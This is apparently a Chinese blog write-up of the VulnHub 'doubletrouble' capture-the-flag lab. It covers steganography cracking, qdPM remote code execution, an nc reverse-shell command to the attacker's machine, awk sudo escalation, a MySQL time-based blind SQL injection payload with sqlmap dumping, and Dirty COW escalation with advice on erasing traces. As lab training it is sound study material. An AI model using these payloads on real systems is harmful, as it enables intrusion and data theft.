Vulnhub打靶记录:doubletrouble
相关信息
kali:10.0.0.9/24
靶机:外层:10.0.0.14/24,内层:10.0.0.23
靶机介绍:doubletrouble: 1 ~ VulnHub。
靶机下载:https://download.vulnhub.com/doubletrouble/doubletrouble.ova
目标:2
个 root
权限
难度:中
这个靶机有两层,当完成第一台靶机的提权后可以获得第二个靶机的
ova
文件,获取后需要再次导入virtualbox
中进行打靶。
未提及的相关知识点,命令和代码等等可以查看我其他三个blog:
-
渗透相关知识补充 - CC-HL - 博客园 (cnblogs.com)
当然我也只是记录了我认为有必要的。
文字思路
全流程思路:
- 主机发现 端口扫描
- WEB信息搜集:没有页面源码的读取非常关键
- 开源CMS漏洞利用
- 隐写术:
seg
等工具的使用 - 密码爆破 CTEObins提权 SQL盲注 脏牛提权
下意识的操作
- 在
url
的写入中很有可能需要在最后加上/
,部分命令或者场景必须加上/
- 每台靶机都需要尝试内核漏洞,这个一定一定是需要尝试的
- 对于任何可能存在的漏洞都进行
searchsploit
查看其历史漏洞
主要的知识点
sql
基于时间的盲注入使用- 脏牛内核漏洞的适用版本
外层靶机具体流程
信息搜集
-
主机发现,端口扫描,版本发现。主机打开的有
22,80
端口,80 : qdPM
是有个登陆界面的。此外nmap
并没有太多的信息,所以web
就成了重中之重。对
qdPM
对于版本相关漏洞的搜集和阅读,发现远程代码执行的相关漏洞都需要进行身份认证才能顺利使用,暂且放下。 -
访问后是一个
qdPM
应用的登陆界面,其版本为9.1
。对其进行简单弱口令,sql
注入,万能密码都是没有效果的,通过源码的查看可以看到这个开源项目的网页地址。(主要是账号为邮箱,暴力破解难度大) -
点击进入后虽然官网的版本已经升级到了
9.3
,但并不影响我们进行相关的信息了解。可以看到官网提示我们在按照这个web
应用时需要注意删除:/install, /core/cache/qdPM
这两个目录。-
/install
:可以发现为一个数据库的配置网页,虽然通过该网页能够进行数据库的创建,但是明显对于我们突破边界没有任何帮助,并且无法读取想要的数据。 -
/core/cache/qdPM
:就是一个配置的文件网站,依次浏览相关文件直到在settings.yml
文件中发现一行加密秘的类似密文的字符串234sAFE425SDFAf2ljlkasdhfiwugb2563h2g4jA
,并不能确定其具体的含义。
-
-
常规的手工检测完毕,对
web
进行路径爬取:dirsearch -u http://10.0.0.14
。发现个非常具有提示的web
路径:secret
。访问后为一个图片文件,由于这个具有提示性质的路径名,同时也没有其他的测试思路,所以对这个图片进行检测就现的非常有必要。
图片隐写
-
下载图片后,用
steghide
工具对该图片进行检测,发现里面可以隐写4.7KB
的数据,但是其内容进行了加密无法查看。 steghide相关说明 -
使用
stegcracker
图片隐写爆破工具时,可以通过他的提示发现stegcracker
已经停止维护,我们可以使用stegseek
这个效率远超stegcracker
并且还在维护的的暴力破解工具。-
stegseek
安装:在提示的下载地址中下载deb
文件,然后直接键入apt install xxx.deb
对其进行安装。 -
stegseek
使用:键入下列命令即可快速的暴力破解加密的隐藏内容,并将其隐写内容写入到file
这文件中。不难发现隐写内容就是简单的ASCII
文本内容:otisrush@localhost.com :otis666
-
qdPM漏洞利用
-
通过获得的
otisrush@localhost.com :otis666
,尝试对qdPM
开放的登陆页面进行登陆尝试,成功进入。 -
将刚开始信息收集是查询到的几个漏洞利用脚本拷贝,选择
50175.py
这个脚本进行尝试。但是执行时发现程序报错,打开后发现该python
脚本存在大量的缩进错误,我们需要手动的修正。部分需要修改的展示:
-
通过脚本提示方法来进行命令的键入,只需要注意
url
参数最后需要加上/
否则无法正常使用。通过脚本反馈阅读不难发现脚本叫后门脚本放在
/uplaods/users
目录中,可以通过url
中的cmd
参数控制执行系统命令。
突破边界/提权
- 确定靶机上
nc
的位置:
-
上载
cmd=nc -e /bin/bash 10.0.0.10 4444
的payload
,可以发现成功的反弹shell
。进行简单的shell
升级和信息搜集,发现靶机能够无密码使用sudo /usr/bin/awk
-
通过
gtfobins
网站可以看出当awk
命令权限配置错误时可自接键入下面的命令完成提取。
内层靶机具体流程
靶机获取
-
通过
nc
命令进行文件的传输, -
通过
md5sum
命令对靶机进行指纹验证,确保其完整性。
信息收集
-
主机发现,端口扫描,版本发现。靶机开启了
22,80
端口,但是并没有太多的发现。 -
对
80
端口进行路径爬取也没有太大的收获:dirsearch -u http://10.0.0.23
,包括对发现的/cgi-bin
目录进行迭代爬取也是没有新的发现:dirsearch -u http://10.0.0.23/cgi-bin
。 -
访问
80:web
是一个登陆的界面,查看源码,弱密码的尝试和简单的万能密码也是没有成功的尝试。
sql注入
-
无论是路径爬取还是手工检测
web
页面都没有具体的收获,所以使用burp
来对web
的登陆页面进行具体的sql
注入测试。直到测试到时间盲注才发现能够注入点,在uname
和psw
这两个变量都具有这个注入点,对其赋值为' AND (SELECT X FROM (SELECT (SLEEP(5)))XYHZ) #
'
:用来结束uname
变量的赋值AND
:用于逻辑连接(SELECT (SLEEP(5)))XYHZ
:这是一个子插叙,使用了sleep
函数,同时对其起了个别名为XYHZ
:要求这个别名靶机的数据库中一定不存在,随便起一个即可SELECT X FROM
:就是一个查询X
为一个不存在的列即可#
:必须和前面的payload
有个空格,才能保重单行注释的生效。
上载该
payload
不难发现网页的返回时间延迟了大概5s
,从而确定具有盲注入漏洞。 -
通过将数据包保存为
sql.txt
,然后直接使用sqlmap
进行漏洞利用:-
sqlmap -r sql.txt
:可以确认uname
是有基于时间的盲注入 -
sqlmap -r sql.txt -p uname --dbms mysql --dbs
:-q
指定漏洞产生的具体参数位置,--dbms
指定数据库类型,综上这个命令会爆出靶机上的数据库。
-
-
sqlmap -r sql.txt -p uname --dbms mysql -D doubletrouble --tables
:爆出doubletrouble
数据库中的表。 -
sqlmap -r sql.txt -p uname --dbms mysql -D doubletrouble -T users --columns
:爆出doubletrouble
数据库中的users
表的列。 -
sqlmap -r sql.txt -p uname --dbms mysql -D doubletrouble -T users --dump
:爆出doubletrouble
数据库中的users
表的所以列的值。
图片边界/信息搜集
-
对
sql
注入获取的用户和密码进行尝试,发现clapton :ZubZub99
可以成功的ssh
登陆靶机从而突破边界为一个基本用户clapton
。 -
可以发现靶机上没有
sudo
命令,查看内核版本为3.2.0-4-amd64
,低于3.9
的linux
内核,可以直接进行脏牛的内核提权。https://www.cnblogs.com/feizianquan/p/10791262.html,为exp
地址。 -
通过
nc
进行文件的传递,对exp
进行编译然后赋予可执行权限,进行执行成功的进行提权。脚本提示我们firefart :fionu3giiS71
就为脚本创建的一个root
用户。(在提权前最好使用下的命令将passwd文件备份一份:cp /etc/passwd /tmp/passwd.bak) -
退出现在的需要将原先的
ssh
登陆exit
退出,使用firefart :fionu3giiS71
重新进行登陆,可以发现firefart
确实是root
用户。如果有必要我们可以利用已经备份的passwd
文件来篡改root
用户的密码,再删除firefart
用户来消除痕迹。- 恢复备份文件,然后利用
passwd
命令修改root
用户密码为:1234
- 以
root :1234
来登陆靶机,完成打靶。
- 恢复备份文件,然后利用
相关工具/命令
命令
md5sum, sha3sum , sha256sum
-
what? 返回
都是计算
hash
的命令,直接用<命令> <file>
即可
deb程序包的按照
可以直接通过 apt install xxx.deb
的方式来直接对这种程序包进行安装。
工具
stegseek
-
what? 返回
Stegseek是一款轻量级工具,是全球最快的Steghide解密工具之一。它每秒能够处理数百万的密码,是其他解密工具的数千倍1。它是原始Steghide项目的一个分支而构建,可以用于从文件中提取隐藏的数据1。
-
how to use?
stegseek --crack xxx.jpg -xf file
:破解xxx.jpg
,成功后将加密的内容写入到file
文件中。stegseek <载体图像或音频文件> <字典文件>
:直接这样也可以
steghide
-
what? 返回
Steghide是一个用于隐写术的开源工具,它允许用户将秘密信息嵌入到图像和音频文件中,并从中提取隐藏的信息。它在Kali Linux等渗透测试和安全评估操作系统中常见,并且被广泛用于数字取证和信息隐藏领域。
-
how to use?
-
隐藏信息:使用以下命令将秘密信息嵌入到图像或音频文件中:
steghide embed -ef <要隐藏的文件> -cf <载体图像或音频文件> -sf <输出文件名>
-
提取隐藏信息:使用以下命令从图像或音频文件中提取隐藏的信息:
steghide extract -sf <包含隐藏信息的文件> -xf <输出文件名>
-
加密隐藏信息:你可以选择使用密码来加密隐藏的信息,以增加安全性。
steghide embed -ef <要隐藏的文件> -cf <载体图像或音频文件> -sf <输出文件名> -p <密码> steghide extract -sf <包含隐藏信息的文件> -xf <输出文件名> -p <密码>
-
-
related parameters
-p <密码>
:可选参数,用于对隐藏的信息进行加密和密码保护。如果使用该参数,发送方和接收方必须使用相同的密码来提取隐藏的信息。-steg <steg类别>
:可选参数,用于指定隐藏信息的方法。steg类别可以是LSB1、LSB1-2、LSBE-1、LSBE-1-2等,每种方法有不同的隐藏能力和隐蔽性。info
:参数用于查看载体文件中嵌入的隐藏信息的信息
相关payload
脏牛内核漏洞利用
影响版本低于3.9的linux内核,直接编译执行即可
https://www.cnblogs.com/feizianquan/p/10791262.html
mysql时间盲注
' AND (SELECT X FROM (SELECT (SLEEP(5)))XYHZ) #
复盘/相关知识
了解
Web应用qdPM
-
what? 返回
是一个开源的项目管理软件。它提供了一套功能强大的工具,用于项目管理、缺陷跟踪、任务管理、团队协作等。QDPM主要用于帮助团队组织、协调和监控项目的不同方面。